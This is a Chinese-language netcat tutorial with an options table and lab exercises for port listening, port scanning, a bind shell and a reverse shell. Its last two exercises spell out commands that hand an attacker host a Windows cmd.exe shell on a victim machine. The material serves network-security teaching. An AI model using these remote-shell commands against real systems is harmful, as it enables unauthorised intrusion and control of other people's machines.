NC是netcat的缩写被誉为网络安全界的‘瑞士军刀’通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具，能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立起需要的几乎所有类型的网络连接
nc [-options] hostname port[s] [ports] …
| 序号 | 代码 | 作用 |
|---|---|---|
| 01 | -d | 在后台运行 |
| 02 | -e prog | 程序重定向，一旦连接，就执行绑定的程序（比较危险） |
| 03 | -g | 源路由跳跃点，不超过八次 |
| 04 | -G | 源路由指示器4,8，12，… |
| 05 | -h | 帮助信息 |
| 06 | -i secs | 延迟时间设置，端口扫描时使用 |
| 07 | -l | 监听方式，等待连入。连接完成后，结束监听 |
| 08 | -L | 监听方式，等待连入。连接完成后，继续监听 |
| 09 | -n | 以数字形式表示的IP地址 |
| 10 | -o file | 指定要传送的16进制代码 |
| 11 | -P port | 指定本地的端口号 |
| 12 | -r | 随意指定本地0或远程端口号 |
| 13 | -s addr | 本地的源地址 |
| 14 | -t | 以telnet形式应答入站请求 |
| 15 | -u | UDP方式 |
| 16 | -v | 显示详细信息 |
| 17 | -w | 指定超时的时间 |
| 18 | -z | I/O模式，扫描时使用 |
如：
1.应用了http/1.1 应用了GET方法
- 将nc命令复制到c盘根下
- 进入dos模式并退到根下
- 打入nc -l -p 80：监控80端口的进入情况
- 输入本机的IP地址或127.0.0.1使用80端口
2.连接80端口
- 进入dos并退入跟下
- 打上nc -l -p 80：监控80端口的进入情况
- 再开启一个dos telnet本机ip 80或127.0.0.1 80查看联动
3.扫描远程主机192.168.0.103的80到445所有端口
的开放情况
格式：nc -nvv -w2 -z 192.168.0.103 80-445
4. 正向连接：攻击机192.168.0.100，被攻击机192.168.0.103
任务：通过80端口将攻击机192.168.0.100正向连接到被攻击机192.168.0.103上，并对被攻击机的C盘实时操作。
步骤1 被攻击机192.168.0.103上绑定shell到80端口。
格式：nc -vv –l –p 80 –e cmd.exe
步骤2 攻击机192.168.0.100通过80端口连接到主机192.168.0.103并获得远程主机的shell。
格式：nc 192.168.0.103 80
实训5反向连接：攻击机192.168.0.100，被攻击机192.168.0.103
任务：通过8080端口从攻击机192.168.0.100上反向连接到被攻击机192.168.0.103上，并对被攻击机的C盘实时操作。
步骤1 攻击机192.168.0.100对自己的8080端口进行监控。
格式：nc -vv –l –p 8080
步骤2 被攻击机192.168.0.103将shell绑定到攻击机的8080端口，从而攻击机反向获得被攻击机的shell。
格式：nc –e cmd.exe 192.168.0.100 8080
